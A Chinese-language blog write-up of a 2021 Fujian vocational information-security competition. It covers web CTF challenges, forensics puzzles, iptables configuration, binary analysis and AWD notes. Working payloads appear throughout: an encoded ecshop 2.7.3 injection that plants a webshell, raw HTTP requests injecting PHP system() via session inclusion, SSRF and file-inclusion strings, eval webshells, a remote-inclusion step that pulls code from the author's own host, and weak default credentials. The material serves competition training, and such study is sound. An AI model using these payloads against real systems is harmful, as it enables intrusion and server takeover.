2021福建省职业院校技能大赛信息安全管理与评估WP

任务一

  1. 访问服务器8080端⼝,找出ecshop版本号,将版本号作为flag提交(数字)

    通过访问http://IP:8080 可以看到页面首页存在版本信息

    image-20210407115947993

  2. 访问网站,利用漏洞找到网站根目录的flag1,将flag1作为flag提交。

    因为在网站根目录,直接尝试访问http://IP/flag1得到flag1

    image-20210407195528649

  3. 访问网站,将系统根目录的flag2文件内容作为flag提交。

    ecshop2.7.3的user.php页面存在命令执行漏洞,通过referer请求写入payload,达到上传1.php文件,一句话密码为1337,然后利用菜刀连接查看flag

    参考链接https://www.freebuf.com/column/185049.html

    554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:"num";s:280:"*/ union select 1,0x272f2a,3,4,5,6,7,8,0x7b24617364275d3b617373657274286261736536345f6465636f646528275a6d6c735a56397764585266593239756447567564484d6f4a7a4575634768774a79776e50443977614841675a585a686243676b58314250553152624d544d7a4e3130704f79412f506963702729293b2f2f7d787878,10-- -";s:2:"id";s:3:"'/*";}
    

    我这边直接使用poc脚本执行命令,得到系统根目录/flag2

    image-20210407120048549

任务二

  1. 访问目标IP:8090,打开第一题,根据页面提示,获取根目录下的flag提交。

    通过POST写入system函数,再利用文件包含session文件得到flag

    POST /index.php?function=session_start&save_path=/tmp HTTP/1.1
    Host: 10.99.99.16
    User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:62.0) Gecko/20100101 Firefox/62.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate
    Connection: close
    Cookie: PHPSESSID=a9tvfth9lfqabt9us85t3b07s1
    Upgrade-Insecure-Requests: 1
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 41
    
    name=<?php echo "aaa";system($_GET[x]);?>
    
    GET /index.php?function=extract&file=/tmp/sess_a9tvfth9lfqabt9us85t3b07s1&x=cat+/flag HTTP/1.1
    Host: 10.99.99.16
    User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:62.0) Gecko/20100101 Firefox/62.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate
    Connection: close
    Cookie: PHPSESSID=a9tvfth9lfqabt9us85t3b07s1
    Upgrade-Insecure-Requests: 1
    

    image-20210407123627270

  2. 访问目标IP:8091,打开第二题,根据页面提示,找到/tmp/目录下flag,将获取的flag提交

    image-20210407124550121

    利用ssrf双次绕过限制,同时利用url双次编码绕过限制,达到上传1.php文件,然后通过访问上传文件得到flag

    http://172.16.1.117:8091/index.php?file=http://127.0.0.1/index.php?file=http://127.0.0.1/%26path=%253C%253Fphp system(%2527cat %252Ftmp%252Fflag%2527)%253B%253F%253E&path=1.php
    

    image-20210407121121594

  3. 访问目标IP:8092,打开第三题,根据页面提示,将获取的flag提交。

    访问目标网站,提示通过put写入message得到flag,

    image-20210407124611718

    得到base64,解码得到正确flag

    image-20210407121544868

    image-20210407121614368

  4. 访问目标IP:8093,打开第四题,根据页面提示,获取数据库中 flag,将获取的flag提交

    进入页面,通过注册任意用户,然后再更新资料处,任意填写表单,使用burp抓包在age参数处写入sql语句,在返回包源码得到正确flag

    image-20210408220039795

  5. 访问目标IP:8094,打开第五题,根据页面提示,将获取的flag提交。

    通过访问目标地址得到提示信息,在返回包中发现flag

任务三

(通过访问靶机,下载9个文件)

  1. CAM.jpeg

    直接通过鼠标右键查看属性的详细信息得到flag

    image-20210407201117445

  2. Hex.jpg

    通过16进制查看文件

    image-20210407140138750

  3. Rar.jpg

    通过16进制查看文件

    image-20210408220747909

  4. Four.zip

    通过爆破4位数密码得到zip解压密码(98po)

    image-20210407141735222

  5. docx

    通过修改docx后缀名为zip压缩包,解压文件custom.xml存在flag

    image-20210407144328615

  6. wireshark分析

    通过wireshark打开数据包筛选http可以看到正确flag

    image-20210407144734685

  7. wireshare ping

    筛选icmp。 把DATA应用为列。然后一个个查看flag

    image-20210407145141238

    flag{Icmp_backdoor_can_transfer-some_infomation}

  8. 解压8.docx.zip文件后。 更改后缀名为zip. 再次解压文件flag存在document.xml

    image-20210407145602317

    flag{F1@g}

  9. Wireshark key解密

    导入key image-20210407150608887

    筛选http。导出http对象

    image-20210407150730253

    得到key就是flag{}

    image-20210407150804722

任务四

  1. 要求通过本地文件包含系统根目录下的flag.txt

    image-20210408221602946

    通过page=../../../../../../../../Flag.txt 因为windows大小写不敏感,达到绕过目的

  2. 通过php输入流查看网站根目录下的flag文件,文件名存在特殊字符
    http://IP/index.php?page=php://input
    
    通过post写入
    
    <?php $file = fopen("a1.php","w"); echo fputs($file,"<?php @eval($_POST[alin]); ?>"); fclose($file); ?>
    
    再去访问写入的shell,通过命令查看F_La!G得到正确flag
    
  3. 通过php的filter读取flag.php中的隐藏flag
    http://IP/index.php?page=php://filter/read=convert.base64-encode/resource=flag.php
    
    然后通过base64解密得到正确flag
    

    image-20210407151329627

    image-20210407151314415

  4. 通过zip协议读取flag.zip下的key.txt,得到正确flag
    http://IP/index.php?page=zip://C:/WWW/flag.zip%23key.txt
    
  5. 通过远程文件包含写入exp.php,查看查看网站目录下的全部文件
    在本地网站写入一个
    <?php $file = fopen("a1.php","w"); echo fputs($file,"<?php @eval($_GET[1]); ?>"); fclose($file); ?>
    
    然后通过远程文件包含
    http://IP/index.php?page=http://我的网站IP/php马
    
    然后通过执行命令查看网站根目录下的所有文件
    http://IP/a1.php?1=system('dir');
    

任务五

配置iptables

  1. 要求查看、清空策略;然后禁止INUPT、FORWARD所有连接

    iptables -L		#查看
    iptables -F		#清空
    iptables -A INPUT -j DROP				#拒绝INPUT
    iptables -A FORWARD -j DROP			#拒绝FORWARD
    
  2. 要求能被允许访问ssh、http

    iptables -I INPUT -i eth0 -p tcp --dport 20 -m state --state NEW,ESTABLISHED -j ACCEPT				
    iptables -I INPUT -i eth0 -p tcp --dport 80 -m state --state NEW,ESTABLISHED -j ACCEPT				
    
  3. 要求允许192.168.1.0/24请求连接

    iptables -I INPUT -s 192.168.1.0/24 -p tcp --dport 80 -j ACCEPT
    iptables -I INPUT -s 192.168.1.0/24 -p tcp --dport 22 -j ACCEPT
    
  4. 要求允许ping请求

    iptables  -I INPUT -p icmp --icmp 8 -j ACCEPT
    iptables  -I INPUT -p icmp --icmp 0 -j ACCEPT
    
  5. 要求限制同时连接最大数为10个

    iptables -I INPUT -p tcp --dport 80 -m connlimit --connlimit-above 10 -j REJECT
    

任务六

  1. 从目录网站下载flag文件,并完成修补;修补后得到正确flag提交

    Welcome to DCN Bank!
    
  2. flag问价存在加壳,将加壳类型最为flag提交

    UPX
    
  3. flag文件需要登陆,提交正确的用户名

    dcnbank
    
  4. flag文件需要登陆,提交正确的密码

    1
    
  5. 将分析得到的后门密码作为flag提交

    isd4ever
    

AWD

  1. 弱口令

    root dcndcndcn

    dcn dcn

    数据库:root:Dcnflag.123

  2. 网站

    .shell.php get pass 不死马

    shell.php get pass 不死马

    hacked.php sql注入

    cake.php 命令执行

    image-20191225120210930

  3. 端口

    redis未授权

    31337 root无密码任意登陆

    ttyd 提权查看flag。 find . -type f -exec cat /root/flag.txt {} ; find / -perm -u=s -type f 2>/dev/null

posted @ 2022-06-13 10:09  Rlins  阅读(441)  评论(0)    收藏  举报